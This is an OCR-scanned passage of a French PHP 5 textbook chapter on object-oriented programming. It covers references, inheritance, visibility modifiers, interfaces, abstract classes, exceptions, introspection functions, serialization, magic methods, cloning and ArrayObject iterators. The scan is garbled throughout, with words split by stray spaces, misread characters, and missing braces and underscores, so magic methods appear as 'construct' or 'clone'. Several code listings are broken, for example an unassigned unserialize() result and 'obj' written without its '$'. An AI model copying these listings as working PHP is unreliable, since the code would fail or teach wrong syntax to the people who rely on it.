echo $obj->msg; 



retournera 

Message modi fie par la fonction 

alors qu'avec PHP 4, il retournait 
Message par defaut 

puisque la modification portait sur une copie de l'objet. 
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Objetretour 

Bien que cela soit plus difficile a demontrer, c'est egalement vrai pour les objets 
retournes par les fonctions (par return). Dans ce cas, ce n' est pas une copie de 
Vobjet cree dans la fonction qui est retourne, mais une reference sur I'objet. 

En fait, ce sont toutes les manipulations d'objets qui se font par reference (comme c'est 
traditionnellement le cas avec un langage de programmation oriente objet) et non plus par copie. 

Ainsi le code suivant : 

<?php 

$obj = new MaClasse() ; 
$obj2 = $objl; 



oa $obj2->msg = "Message attribue a \$obj2" 

?> 



w echo $objl->msg; 



retournera: 

Message attribue a $obj2 

Alors qu'avec PHP 4, il retournerait : 

Message par defaut 

Dereferencement 

A supposer que l'une des methodes de I'objet retourne un objet comme par exemple la 
methode suivante: 

function recupereEcran() 

{ 

return $ecran; 

} 

II est desormais possible de recuperer en un seul appel la valeur d'un attribut de I'objet ainsi 
retourne en utilisant la syntaxe $ordinateur->recupereEcran ( ) ->prix. On parle alors de 
dereferencement. 



REMARQUE 



PHP 4 et le dereferencement 

Notez bien que cela n'etait pas possible avec PHP 4. Nous etions alors contraints de 
passer par une variable intermediaire, selon le modele suivant: $ecran = 
$ordinateur->recupereEcran (), puis $ecran->prix. 
L 'appel suivant etait, enrevanche, tout a fait valide $ordinateur->ecran->prix. 
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Sans que PHP ne soit devenu un langage fortement type avec la venue de la version 5. Celle-ci 
permet toutefois de preciser le type (uniquement s'il s'agit d'un objet) des parametres des 
methodes. Comme le montre l'exemple suivant (la classe Boitier est decrite un peu plus loin): 

function changerBoi tier (Boitier $boitier) 
{ 

$this->boitier = $boitier; 



En cas de passage de parametre d'un mauvais type, l'erreur ne sera pas detectee lors de la 
compilation mais lors de l'execution de la methode. II s'agit alors d'une erreur de niveau "fatal" 
et non une exception qui est levee. 

Modificateurs de methodes 

Sur le meme principe que pour les attributs, la declaration des methodes peut etre affinee grace 
aux modificateurs "private", "protected" ou par defaut "public" pour ce qui est de la portee 
et "final" pour ce qui est des droits en modification (voir heritage). 




L'heritage 



Si Ton reprend l'ensemble des classes (La classe ordinateur ayant ete precedemment definie) 
nous obtenons: 

Classe Boitier 

<?php 

class Boitier 

{ 

public $modele; 
public $details; 
public $prix; 

// Constructeur 

function construct($modele, $prix, $details) 

{ 

$this->modele = $modele; 

$this->details = $details; 

$this->prix = $prix; 



// Methodes. 

function modifierModele($modele) 

{ 

$this->modele = $modele; 

} 

f uncti on modi f 1 erDetai 1 s ($detai 1 s) 
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} 



$this->details = $details; 



function modifierPrix($prix) 

{ 

$this->prix = $prix; 

} 



?> 



Classe Ecran 

<?php 
class Ecran 



public $modele; 
public $prix; 

// Constructeur 

function construct($modele, $prix) 

$this->modele = $modele; 
$this->prix = $prix; 



// Methodes. 

function modifierModele($modele) 

$this->modele = $modele; 



function modifierPrix($prix) 
$this->prix = $prix; 



?> 



Classe Clavier 

<?php 

class Clavier 

{ 

public $modele; 
public $prix; 

// Constructeur 

function construct($modele, $prix) 

{ 

$this->modele = $modele; 

$this->prix = $prix; 
} 
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// Methodes. 

function modifierModele($modele) 

{ 

$this->modele = $modele; 



function modifierPrix($prix) 
{ 

$this->prix = $prix; 



? 



> 



Classe Souris 

<?php 

class Souris 

{ 

public $modele; 
public $prix; 

// Constructeur 

function construct($modele, $prix) 



$this->modele = $modele; 
$this->prix = $prix; 



// Methodes. 

function modifierModele($modele) 

$this->modele = $modele; 



function modifierPrix($prix) 

$this->prix = $prix; 

?> 

Ces quatre dernieres classes se ressemblant enormement, il serait preferable de creer une 
classe commune composant. C'est l'objet de ce sous-chapitre. 

La programmation objet permet de faire de l'heritage. On parle d'heritage lorsqu'une classe 
beneficie (herite) des proprietes (methodes et attributs) d'une autre. La classe qui herite des 
proprietes pourra implementer d'autres proprietes ; on dit alors quelle "etend" la classe 
parente. 

Dans notre exemple, nous allons creer une classe Composant dont heriteront les classes 

Boitier, Clavier et Souris. 
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Classe Composant 

<?php 

class Composant 

{ 

public $modele; 

public $prix; 



// Constructeur 

function construct($modele, $prix) 

$this->modele = $modele; 
$this->prix = $prix; 



// Methodes. 

function modifierModele($modele) 

$this->modele = $modele; 



function modifierPrix($pr 
$this->prix = $prix; 



?> 



Maintenant, si les classes Boitier, clavier et souris heritent de la classe Composant, elles 
vont considerablement se simplifier. Pour cela, il suffit de preciser "extends <classe 
parente>" lors de la declaration de la classe. 

Classe Souris 

<?php 

class Souris extends Composant 

{ 

} 

?> 

Cette declaration suffit a definir la classe souris comme fait precedemment. Cette classe vide 
peut sembler inutile, mais elle peut s'averer tres utile si Ton veut ajouter une information sur le 
nombre de boutons ou sur le fait qu'elle soit sans fil, par exemple (information qui n'aurait pas 
de sens pour les autres composants). 

Nous verrons avec la classe Boitier comment ajouter des methodes propres a une classe. 

Classe Clavier 

<?php 

class Clavier extends Composant 

{ 
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} 
?> 

Ce fichier suffit a definir la classe clavier comme fait precedemment. De meme que pour la 
classe souris, il pourrait etre interessant d'ajouter le nombre de touches ou le fait que ce soit 
un clavier avec ou sans fil. 

Classe Boitier 

<?php 

class Boitier extends Composant 

{ 

private $details; 

// Constructeur 

function construct($modele, $prix, $details) 

{ 

new Composant ($model e, $pri x) ; 

$this->details = $details; 
} 

// Methodes. 

f uncti on modi f i erDetai 1 s ($detai 1 s) 

{ 

$this->details = $details; 



i> 

Ainsi defini, la classe Boitier beneficie des methodes modif ierModele ( ) et 
modifierPrix( ) definies dans la classe Composant. Mais comme la classe que nous 
souhaitons obtenir est "plus riche" que la classe Composant dont elle herite, il a fallu redefinir 
le constructeur, et ajouter une methode et un attribut. 

La classe ordinateur reste inchangee. 

Dans le cas de 1'heritage, la classe parente peut etre referencee a l'aide du mot-cle parent. 
Ainsi, 1'instruction parent : : modif ierModele { ) fera appel a la fonction modif ierModele ( ) 
de la classe parente meme si celle-ci a ete redefinie au niveau de la classe fille. 



Heritage et appel du constructeur 

Lorsque la classe qui herite ne redefmit pas le constructeur, alors c'est le constructeur 
de la classe parente qui est appele. 

Lorsque la classe qui herite redefmit le constructeur, alors c'est le constructeur de la 
classe fille qui est appele, sans que le soit le constructeur de la classe parente (a moins 

d'un appel explicite parent: : construct ( )). Ce comportement est different de 

celui de certains langages, et de Java en particulier. 




REMARQUE 
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Heritage multiple 

Iln'estpas certain que PHP integre unjour ['heritage multiple mais comme leprouve 
Java, on pent tres bien vivre sans (tout en s'evitant bien des soucis). 



Reecriture de methode 

Comme nous l'avons vu avec l'exemple de la classe Boitier, une classe fille peut tres bien 
re-ecrire une methode de la classe mere. Dans ce cas, la signature de la methode reste inchange 
mais son comportement pourra etre totalement (ou en partie modifie). 

Si vous ne souhaitez pas que vous ou un quelconque utilisateur de votre classe ne fasse une grosse 
bourde en reecrivant maladroitement une des methodes de la classe alors declarez la final . 

<?php 

cl ass CI assMereAvecUneMethodeCri ti que 

{ 

final function methodeCritique() 

{ 

// C'est une methode critique a ne surtout pas 
// re-ecrire. 
} 
} 
?> 

Portee des attribute et methodes (public, protected, private) 

Comme cela a ete evoque precedemment, les attributs et les methodes peuvent etre declares 
public", "protected" OU "private". 

Un attribut ou une methode declare public est accessible librement. 

Un attribut ou une methode declare private n'est accessible que depuis une methode de la 
classe dans laquelle il a ete defini. 

Un attribut ou une methode declare protected n'est accessible que depuis une methode de la 
classe dans laquelle il a ete defini ou d'une classe en heritant. 

L'utilisation de ces modificateurs de portee n'est pas a negliger. II peut etre par exemple 
necessaire de rendre des attributs private ou protected afin d'obliger l'utilisation d'une 
methode pour affecter ces valeurs. Ces methodes appelees accesseurs pourront au besoin 
pre-traiter la demande ou en controler la validite avant de modifier ou retourner la valeur de 
l'attribut. 

<?php 

class Composant 

{ 

private $modele; 
private $prix; 

// Constructeur 
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function construct ($modele, $prix) 

{ 

$this->modele = $modele; 
$this->prix = $prix; 



// Methodes. 

function modifierModele($modele) 

{ 

if ($modele == "inconnu") $modele = NULL; 

$this->modele = $modele; 



function modifierPrix($prix) 

{ 

if ($prix < 0) $prix = 0; 
$this->prix = $prix; 



Avec cette classe, l'appel $monBoitier->prix = 10; n'est plus possible. II faut 
necessairement passer par la methode modifierPrix() comme suit 
$monBoitier->modif ierPrix ( 10 ) ; ce qui permettra de verifier que le prix indique n'est pas 
negatif. 

Les interfaces 

Lorsqu'elle est correctement maitrisee, la programmation orientee objet permet de faire des 
choses vraiment formidables. II est ainsi possible de creer des classes (et leurs methodes) qui 
manipulent des objets de facon tout a fait generique sans en connaitre leur implementation 
exacte mais en s'appuyant simplement sur les methodes qu'ils proposent. Dans ce cas, il faut 
toutefois s'assurer que les objets manipules implementent effectivement ces methodes. Pour 
s'en assurer, il suffit alors de definir une interface decrivant l'ensemble des methodes qui 
doivent etre implementees. 

<?php 

interface Monlnterface { 

public function afficher(); 



Nous avons ici decrit 1'interface d'une classe devant implementer une methode af f icher ( ) . 
Les classes pretendant implementer cette interface devront alors le preciser avec le mot cle 

implements. 

<?php 

class ClasseQui Implemente implements Monlnterface { 

function afficher() 

{ 

echo "Moi quand j'affiche c'est a l'ecran"; 




233 



CD 



CO 



_eo 

CD 



Chapitre 3 Le langage PHP 



} 
?> 



Une telle classe pourra alors etre utilisee par la classe suivante: 

<?php 

class ClasseQuiFaitLeTraitement 

{ 

var $obj ; 

function construct ($obj) 

{ 

$this->obj = obj; 

} 

function traitement() 

{ 

// Quelques lignes de traitement puis 
$this->obj->afficher() ; 



$objAffichage = new ClasseQuilmplementeO ; 

$objTraitement = new ClasseQui FaitLeTraitement($objAffichage) 

$objTraitement->traitement() ; 

?> 



Les classes abstraites 

Un peu dans le meme esprit que les interfaces, il existe egalement les classes abstraites. II s'agit 
alors de classes qui peuvent implementer un certain nombre de methodes et laisse le soin a 
d'autres d'implementer un certain nombre d'autres methodes alors declarees comme 
abstract (abstraites). Une classe contenant des methodes abstraites est elle-meme abstraite 
et ne peut etre instanciee. Une classe abstraite ne peut etre que derivee (par heritage). 

L'exemple precedent donnerait alors 

<?php 

abstract class MaClasseAbstraite { 

abstract public function afficher(); 

function autreMethode() 

{ 

// Eventuel lenient une methode qui 
// a ete implementee ici 
} 
} 

class ClasseQui Implemente extends MaClasseAbstraite { 
function afficherQ 

{ 

echo "Moi quand j'affiche c'est a 1'ecran"; 
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class ClasseQuiFaitLeTraitement 

{ 

var $obj ; 

function construct (MaClasseAbstraite $obj) 

{ 

$this->obj = obj; 

} 

function traitement() 

{ 

// Quelques lignes de traitement puis 

$this->obj->afficher() ; 



$objAffichage = new ClassQui Implemente() ; 

$objTraitement = new ClasseQui FaitLeTraitement($objAffichage) 

$objTraitement->traitement() ; 

?> 

Vous noterez que dans ce cas, il est possible de verifier que le classe passee en parametre du 
constructeur herite bien de la classe abstraite (et done implement e bien la methode af f icher ( ) ). 




Les exceptions 



L'ensemble des langages de programmation orientee objet offrent une alternative a l'habituel 
code d'erreur retourne par une fonction: a la place, lorsqu'une classe leve une erreur, elle 
interrompt son deroulement et redonne la main au programme appelant en emettant un objet 
appele Exception. PHP n'echappe pas a cette regie. 

La generation de ces "messages" est alors controlee et geree dans un bloc try... catch.. 
Listing 3.37 : exception.php 

<?php 

class ObjetMathematique 

{ 

function division($a, $b) 

{ 

if ($b == 0) throw new Exception ("Division par zero.", 10); 
else return $a/$b; 



try { 

$obj = new ObjetMathematiqueO ; 

echo $obj->division(4, 2)."<br />\n"; 

echo $obj->division(4, 0)."<br />\n"; 

echo $obj->division(8, 4)."<br />\n"; 

} catch (Exception $ex) { 

echo "getMessage() M .$ex->getMessage() . "<br />\n"; 
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} 

?> 



echo "getCode() ".$ex->getCode() ."<br />\n" 

echo "getFileQ ".$ex->getFile() ."<br />\n" 

echo "getLine() " .$ex->getLine() ."<br />\n" 

echo "getTrace() "; 

var_dump($ex->getTrace()) ; 

echo "<br />\n"; 

echo "getTraceAsStringO ".$ex->getTraceAsString() ."<br />\n"; 



Cela retournera alors : 

2<br /> 

getMessage() Division par zero.<br /> 
getCode() 10<br /> 

getFi 1 e () /usr/1 ocal /apache/htdocs/regtest/poo/_excepti on . php<br /> 
getLine() 7<br /> 
getTrace() array(l) { 
[0]=> 
array (6) { 

["file"]=> 

stri ng (51) "/usr/1 ocal /apache/htdocs/regtest/poo/excepti on . php" 

["line"]=> 

int(15) 

["function"] => 

string (8) "division" 

["class"]=> 

string(17) "ObjetMathematique" 

["type"]=> 

string(2) "->" 

["args"]=> 

array (2) { 
[0]=> 
int(4) 

[1]=> 
int(O) 

} 
} 
} 

<br /> 

getTraceAsStringO #0 /usr/local/apache/htdocs/regtest/poo/_exception.php(15) : 
x 0bjetMathematique->division(4, 0) 
#1 {main}<br /> 

En effet, lorsque nous avons appele la methode division avec un diviseur egal a 0, la methode 
a leve une exception grace a l'instruction throw. Ceci a done mis un terme a l'execution de la 
methode ainsi qu'a celle du bloc try du programme appelant, l'execution se poursuivant par le 
bloc catch correspondant a l'objet exception genere. (Ici, nous n'avons qu'un bloc catch, mais 
il est possible d'en avoir autant qu'il y a d'exceptions differentes). Le reste du programme (a la 
suite du bloc try.. .catch) se deroule alors normalement. 
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Dans cet exemple, nous avons utilise la classe predefinie Exception, nous aurions egalement 
pu definir notre propre classe d'exception a condition qu'elle herite de Exception. 

La classe Exception presente un constructeur permettant de preciser un message d'erreur 
ainsi qu'un code d'erreur. 



Exceptions construct () 



Instancie un objet Exception. 

Syntaxe new Exception ([string $message [, int $codeErreur]] ) 

$message Message d'erreur. 

$codeErreur Code d'erreur. 

Cette classe possede de nombreuses methodes: 



Exception->getMessage () 

Retourne le message d'erreur de l'Exception. 

Syntaxe string getMessageQ 

retour Message d'erreur. 



Exception->getCode () 

Retourne le code d'erreur de l'Exception. 

Syntaxe int getCode() 

retour Code d'erreur. 

Exception->getFile () 

Retourne le nom du fichier dans lequel l'Exception a ete levee. 

Syntaxe string getFileQ 

retour Nom du fichier. 
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Exception->getLine () 

Retourne le numero de la ligne du fichier ou l'Exception a ete levee. 

Syntaxe int getLine() 

retour Ligne dans le fichier. 

Exception->getTrace () 

Retourne le tableau des enchainements des appels de fonctions ayant conduit a l'Exception. 

Syntaxe array getTrace() 

retour Tableau indexe contenant une entree par fonction dans la pile d'appel. 

Chacune des valeurs de ce tableau est un tableau associatif contenant les 
cles: file, precisant le nom du fichier contenant l'appel; .line, 
precisant la ligne ou a eu lieu l'appel, function, precisant le nom de la 
fonction (ou methode) appelee, class, precisant le nom de la classe 
impliquee, type, precisant le type d'appel (ex: '->' pour un appel de 
methode non statique) et enfin args, precisant les parametres passes a la 
fonction. 



PHP 4 (ne)fait (pas) Exception 

PHP 4 ne gerait pas les exceptions. 



REMARQUE 



Les fonctions de manipulation des objets 



PHP propose un ensemble de fonctions applicables a des objets. II s'agit essentiellement de 
fonctions d'introspection: c'est a dire des fonctions retournant des informations sur un objet 
comme par exemple la liste des attributs et methodes qu'il expose. 



get_class() 

Retourne le nom de la classe dont l'objet specifie est une instance. 

Syntaxe string get_cl ass (object $objet) 

$obj et Objet dont vous souhaitez determiner la classe. 

retour Nom de la classe ou FALSE en cas d'echec. 
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class_exists() 

Verifie si une classe existe ou non. 

Syntaxe boolean class_exists (string $classe [, boolean 

$chargementAutomatique] ) 

$ c 1 a s s e Nom de la classe que vous souhaitez tester. 

$chargement 

Automatique TRUE (valeur par defaut) si vous souhaitez utiliser le chargement 
automatique de la classe (cf. autoload), FALSE sinon. 

retour TRUE si la classe existe, FALSE sinon. 



get_class_methods () 

Retourne la liste des methodes exposees par une classe ou un objet. 

Syntaxe array get_class_methods (mixed $classe) 

$cl asse Nom de la classe ou une instance (l'objet directement). 

retour Tableau indexe ayant pour valeurs les noms des methodes ou NULL si la 

classe n'existe pas. 




method_exists() 



Verifie si un objet expose une methode donnee ou non. 

Syntaxe boolean method_exists (object $objet, string $methode) 

$objet Objet que vous souhaitez tester (contrairement a 

get_class_method ( ) il n'est pas possible de specifier le nom de la 
classe a la place). 

$classe Nom de la methode. 

retour TRUE si la methode existe, FALSE sinon. 



get_class_vars() 

Retourne la liste des attributs d'une classe et leur valeur (initiale). 
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Syntaxe array get_class_vars (string $classe) 

$cl asse Nom de la classe (contrairement a get_class_method ( ) il n'est pas 

possible de specifier l'objet directement). 

retour Tableau indexe ayant pour cles les noms des attributs et pour valeur la 

valeur initiale des attributs ou FALSE si la classe n'existe pas. 



get_object_vars() 



Retourne la liste des attributs d'un objet et leur valeur. 

Syntaxe array get_object_vars (object $objet) 

$ob j et Objet dont vous souhaitez obtenir la liste de valeur des attributs. 

retour Tableau indexe ayant pour cles les noms des attributs et pour valeur la 

valeur des attributs ou FALSE en cas d'erreur. 

D'autres fonctions sont plus specifiquement liees a la notion d'heritage. 



get_parent_class() 

Retourne le nom de la classe mere de la classe testee. 

Syntaxe string get_parent_cl ass (mixed $classe) 

$cl asse Nom de la classe ou instance (l'objet directement). 

retour Nom de la classe mere ou FALSE en cas d'erreur. 



is_subclass_of() 



Verifie si un objet herite d'une classe donnee ou non. 

Syntaxe boolean is_subclass_of (object $objet, string $classe) 

$ob j et Objet a tester. 

$cl asse Nom de la classe dont l'objet est susceptible d'heriter. 

retour TRUE si l'objet herite bien de la classe indiquee, FALSE sinon. 

II est egalement possible de recuperer la liste de l'ensemble des classes et interfaces connues du 
script. 
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get_declared_classes () 

Retourne la liste des classes connues (on y retrouve evidemment stdClass, Exception, etc.). 

Syntaxe array get_declared_cl asses () 

retour Tableau indexe ayant pour valeurs les noms des classes. 

get_declared_interfaces () 

Retourne la liste des interfaces connues. 

Syntaxe array get_declared_interfaces() 

retour Tableau indexe ayant pour valeurs les noms des interfaces. 

Programmation avancee 
Memoriser des objets 

II est parfois interessant de stocker un objet dans un fichier (une variable de session ou encore 
une base de donnees). Ce n'est pas, a priori, une tache aisee, mais elle se revele tres simple s'il 
est possible de transformer un objet en chaine de caracteres et une chaine de caracteres en 
objet. C'est ce que Ton appelle la serialisation et la deserialisation. 

La serialisation s'effectue a l'aide de la fonction serialize ( ) ; l'operation inverse a l'aide de 

la fonction unserialize ( ) . 

Pour pouvoir relire cette chaine de caracteres et la transformer en objet, la classe doit etre 
definie au moment de l'operation de deserialisation. 

Dans l'exemple suivant, nous sauvegarderons un objet souris, puis nous le recupererons dans un 
autre script en se servant d'un fichier texte pour memoriser cet objet. 

Listing 3.38 : sauvegarde.php 

<?php 

// Inclusion du contenu du fichier Souris. php 
// contenant la definition de la classe 
include("Souris.php") ; 

$souris = new Souris("Souris Facile", 9. 98) ; 

$chaine_souris = serialize($souris) ; 

$fichier = fopen("sauvegarde", "w"); // Le fichier sauvegarde 

// est ouvert en ecriture 
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fputs($fichier, $chaine_souris) ; // Le contenu de la chaTne de 

// caracteres est ecrit 
fclose($fichier) ; // Le fichier est referme 

?> 

Listing 3.39 : lecture.php 

<?php 

// II est indispensable d'inclure la definition de la classe 
// Souris pour que unserialize() fonctionne correctement 
include("Souris.php") ; 

$souris = implodeC", @file("sauvegarde")) ; //la chaTne stockee 

// est recuperee 

unserialize($souris) ; // la chaTne est transformed en son objet associe 

// $souris se traite desormais comme un objet. 
$souris->modifier_prix(9.99) ; 
?> 



»0 

REMARQUE 



Les sessions 

Dans le cas des sessions, si vous utilisez la fonction session_register ( ) sur un 
objet, celui-ci est automatiquement serialise. Ilfaut done f aire bien attention a inclure 
la definition de la classe dans chacun desfichiers accessibles des le moment oil Vobjet 
est enregistre en session. Sinon celui-ci se transforme en objet de classe stdciass et 
n'a aucune utilite, car, alors, aucune des methodes n'est accessible. 



sleep 

La fonction sleep ( ) est appelee avant toute serialisation. Cette fonction renvoie un tableau 

des valeurs a memoriser. Elle permet de n'indiquer que les valeurs utiles a stocker et de fermer 
les connexions aux bases de donnees par exemple. 

wakeup 

La fonction unseriaiize ( ) fait appel a cette methode au moment de recreer l'objet. Cela 
peut permettre de retablir des connexions aux bases de donnees par exemple. 

<?php 
class Test 

{ 

var $attributl 
var $attribut2 
var $attribut3 

function Test($attributl, $attribut2) 
{ 
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$this->attributl=$attributl; 
$thi s->attri but2=$attri but2; 
$this->attribut3=$attributl+$attribut2; 



function sleep() { 

return array('attributr , 'attribut2' 



function wakeup() { 

$this->attribut3 = $this->attributl + $this->attribut2; 



!> 

En faisant ceci, on economise en memoire, car $attribut3, qui peut etre calcule a partir de 

$attributi et $attribut2, n'est pas stocke (en effet, la fonction sleep ordonne de ne 

stacker que les attributs attributi et attribut2). II est cependant recalcule au moment de 
reconstituer l'objet. 

Destruction des objets 

Lorsqu'un objet n'est plus utilise (ou tout simplement lorsque la fin du script arrive), les objets 
sont detruits. Jusqu'alors, il n'etait pas possible de demander a PHP d'executer certaines 
fonctions (ex. : fermeture d'un fichier, deconnexion d'une base de donnees, etc.) avant de 
detruire definitivement l'objet. C'est desormais possible en ecrivant une methode 
destruct ( ) contenant le code a executer avant la destruction de l'objet. 

<?php 

class ObjetMortBruyante 

{ 

var $msg; 

function construct() 

{ 

$this->msg = "Je suis un objet qui ne sait pas mourir en silence"; 
} 

function destructQ 

{ 

echo "Arrgggg je meurs"; 

} 
} 

$obj = new ObjetMortBrutanteQ ; 

// la fin du script entraine la destruction de l'objet 
?> 

Ce script retournera done : 
Arrgggg je meurs 

indiquant bien que la methode destruct ( ) a ete appelee. 
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destructQ et Vheritage 

En cas d'heritage, tout commepour le constructeur, le destructeur de la classe parente 
n 'est pas appele automatiquement. Si vous souhaitez appeler ce dernier vous devrez 
inclure un appel parent: : destruct ( ). 



Clonage 

Avec l'arrivee de PHP 5 et de son moteur Zend2, il est desormais possible de preciser comme 
doit se faire la copie d'un objet en creant une methode clone ( ) . 

II est alors possible par exemple de reinitialiser certaines valeurs (les caracteristiques propres a 
la copie) tout en demandant la copie de certaines autres (les caracteristiques generates de 
1'objet copie). Pour acceder aux donnees de l'objet copie, vous devrez faire appel a $that (qui 
5> joue le role du $this mais pour l'objet copie). 

CO 



REMARQUE 



This or That ? 

Nous devons avouer notre perplexite sur ce point. II se trouve que dans les premieres 
documentations et premieres implementations de PHP 5. II fallait effectivement 
utiliser $that. Cependant, V exemple suivant qui fonctionnait tel que nous I'avions 
imagine precedemment ne fonctionne pas exactement pareil avec PHP 5.0.1. 

Ainsi l'exemple suivant : 

<?php 

class ObjetMutant() 

{ 

var $msg, $msg2; 
function ObjetMutant () 

{ 

$this->msg = "Je suis un mutant"; 
$this->msg2 = "et je reste un mutant."; 

} 

function clone() 

{ 

$this->msg = "J'ai mute"; 
$this->msg2 = $that->msg2; 
} 
} 

$obj = new ObjetMutant() ; 
$obj2 = clone $obj ; 

echo $obj->msg." ".$obj->msg2."<br />"; 
echo $obj2->msg." ".$obj2->msg2."<br />"; 
?> 

retournera done (ou tout du moins retournait) : 

Je suis mutant et je reste un mutant. 
J'ai mute et je reste un mutant. 
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II retourne desormais 

Je suis mutant et je reste un mutant. 
J'ai mute 

A moins de remplacer le $that par un $this. 

Quoiqu'il en soit, une chose est sure, a l'appel de l'instruction clone, la methode clone ( ) a 

bien ete executee. Notez, que la methode clone ( ) ne peut etre appelee directement. 

Nouvelles methodes "internes" 

PHP 5 utilise de nouvelles methodes internes. 

En particulier lors de la recuperation du contenu d'un attribut selon le schema 
$objet->attribut, PHP retournera la valeur de l'attribut s'il existe, sinon il appellera la 

methode get ( ) avec pour parametre le nom de l'attribut. Methode qu'il est possible de 

redefinir. 

<?php 

class MaClasse 

{ 

var $attrl; 

function contruct() 

{ 

$attrl = "demo"; 

} 

function get($nom) 

{ 

return "Desole, $nom n'est pas un attribut connu"; 

} 
} 

$obj = new MaClasse() ; 
echo $obj->attrl; 
echo $obj->attr2; 
?> 

retournera done: 

demo 

Desole, attr2 n'est pas un attribut connu 

II en est de meme avec l'affectation de valeur a une variable et la methode interne set ( ) 

ainsi que pour l'appel de methode et la fonction call ( ) . Dans ce dernier cas, la methode 

recoit deux parametres, le premier etant le nom de la methode appelee et le second etant un 
tableau indexe des parametres de l'appel. 

autres fonctions 

II est prevu de pouvoir definir son propre traitement lorsqu'il est fait reference a une classe qui 

n'existe pas. Pour cela, il suffit de redefinir la fonction autoload ( ) qui accepte pour unique 

parametre le nom de la classe appelee. Notez toutefois qu'a 1'issu de l'appel a cette fonction, 
l'instanciation d'un objet de la classe invoquee devra etre possible sinon le script s'arretera avec 
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un message d'erreur. En fait, cette fonction a pour objectif principal de vous permettre 
d'inclure au vol le fichier contenant la declaration de la classe. 



Les tableaux en POO 

PHP propose un objet appele ArrayObj ect charge de manipuler un tableau comme n'importe 
quel objet. 



ArrayObj ect-> construct () 

Instancie un objet ArrayObj ect. 

Syntaxe new ArrayObj ect ([mixed $tableau]) 

$tabl eau L'objet ArrayObj ect peut etre initialise aussi bien avec un autre objet 

ArrayObj ect qu'avec un tableau "classique". 

S'il n'est pas pre-rempli lors de l'appel du constructeur, l'objet peut etre alimente par des appels 
successif a la methode append ( ) . 



ArrayObj ect->append() 

Ajoute un element a un objet ArrayObj ect. 

Syntaxe void append (mixed $valeur) 

$val eur Element a ajouter a l'objet ArrayObj ect. 

Cette methode presente toutefois l'inconvenient majeur de ne pas permettre de preciser la cle 
associee a la valeur. Pour cela, nous privilegierons la methode of f setset ( ) . 



ArrayObj ect->offsetSet () 

Ajoute un element a un objet ArrayObj ect en precisant la cle associee. 

Syntaxe void of fsetSet (mixed $cle, mixed $valeur) 

$cl e Cle associee a l'element a ajouter a l'objet ArrayObj ect. 

$val eur Element a ajouter a l'objet ArrayObj ect. 

A l'inverse, il est possible de recuperer la valeur associee a une cle par 
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ArrayOb j ect->off setGet () 

Retourne l'element d'un objet Arrayobject associe a une cle donnee. 

Syntaxe mixed off setGet (mixed $cle) 

$ c 1 e Cle associee a l'element a recuperer. 

retour Element associe a la cle dans l'objet ArrayOb j ect. 

Pour supprimer un element du tableau on fera appel a 



ArrayObject->offsetUnset() 



Supprime l'element d'un objet Arrayobject associe a une cle donnee. 

Syntaxe void of fsetUnset (mixed $cle) 

$ c 1 e Cle associee a l'element a supprimer. 

II est egalement possible d'en verifier l'existence 



ArrayOb j ect->off setExists () 

Teste la presence d'un element d'un objet Arrayobject associe a une cle donnee. 

Syntaxe boolean off setExists (mixed $cle) 

$ c 1 e Cle a rechercher. 

retour TRUE, si un des elements du tableau est associe a la cle, FALSE sinon. 

II est evidemment, a tout moment possible de verifier la taille du tableau 



ArrayObject->count() 

Retourne le nombre d'element contenu dans un objet Arrayobject. 

Syntaxe int count () 

retour Nombre d'elements dans le tableau. 
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Les iterateurs de tableau 

Afin de parcourir le contenu d'un tableau, PHP met a disposition un objet Arrayiterator. 
Celui ci peut etre obtenu en appelant la methode getiterator ( ) d'un ArrayObject. 



ArrayObj ect->getIterator () 

Retourne un iterateur sur un objet ArrayObject. 

Q _ Syntaxe Arrayiterator getlteratorQ 

o. retour Iterateur sur 1'ArrayObject. 

09 

cn 

§> L'objet Arrayiterator agit comme un pointeur sur un element du tableau. Pointeur qui 

ro permet de progresser du premier element au dernier. 

o> 

_i 

pi 

ArrayIterator->valid () 

Verifie que l'iterateur pointe toujours sur un element de l'objet ArrayObject. 

Syntaxe boolean val id() 

retour TRUE si l'iterateur pointe sur un element du tableau, FALSE sinon. 

ArrayIterator->current () 

Retourne l'element "courant" du tableau (celui sur lequel l'iterateur pointe). 

Syntaxe mixed current () 

retour Valeur de l'element du tableau actuellement pointe. 

ArrayIterator->key() 

Retourne la cle de l'element "courant" du tableau (celui sur lequel l'iterateur pointe). 

Syntaxe mixed key() 

retour Cle de l'element du tableau actuellement pointe. 
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ArrayIterator->next () 

Deplace l'iterateur sur 1'element suivant du tableau. 

Syntaxe void next() 

Ainsi typiquement le parcours d'un tableau s'effectue comme ceci: 

<?php 

$tableau["clel"] = "elementl"; 
$tableau["cle2"] = "element2"; 
$tableau["cle3"] = "element3"; 
$monArrayObject = new ArrayObject($tableau) ; 

echo "Ce tableau contient " .$monArrayObject->count() ." elements. <br />"; 

echo "J 'utilise un iterateur pour le parcourir:<br />"; 
$iterateur = $monArrayObject->getIterator() ; 
while ($iterateur->val id()) { 

echo "cle = ". $iterateur->key() . 

" valeur = ". $iterateur->current() . 
"<br />"; 
$iterateur->next() ; 



Ceci dit l'iterateur peut etre utilise pour naviguer librement au sein du tableau. 




ArrayIterator->seek() 



Deplace le pointeur de l'iterateur sur un element quelconque du tableau. 

Syntaxe void seek(int $position) 

$position Position dans le tableau (0 = premier element) ou doit etre deplace le 

pointeur de l'iterateur. 



ArrayIterator->rewind () 

Deplace le pointeur de l'iterateur sur le premier element du tableau. Equivalent de seek ( o ) . 
Syntaxe void rewind () 
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Listing 3.40 : arrayObject.php 

<?php 

$tableau[] = "elementl"; 

$tableau[] = "element2"; 

$tableau[] = "element3"; 

$monArrayObject = new ArrayObject($tableau) ; 

SmonAutreArrayObject = new ArrayObject($monArrayObject) ; 

echo "Ce tableau contient " .$monArrayObject->count() ." elements. <br />"; 

echo "J 'utilise un iterateur pour le parcourir:<br />"; 
$iterateur = $monAutreArrayObject->getIterator() ; 
echo "Je saute directement au 2eme element:<br />"; 
$iterateur->seek(l) ; 



eo echo $iterateur->current() ."<br />"; 



as 



echo "Je reviens au premier:<br />"; 

$iterateur->rewind() ; 

echo $iterateur->current() ."<br />"; 

?> 
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Principe general 



L 'utilisation explicite ou implicite des en-tetes va vous permettre de rediriger un client vers 
un autre site, et d'utiliser des cookies ou des variables de session afin de stocker 
(temporairement) des informations. Mais, avant d'aborder ces chapitres, il est important de 
bien comprendre le fonctionnement du dialogue client-serveur avec HTTP. 



4. 1 . Principe general 



REMARQUE 



Historique 

Le protocole HTTP (HyperText Transfer Protocol), mis en ceuvre lors de Techange 
d' informations entre le client et le serveur, est une norme creee en 1990 par Tim 
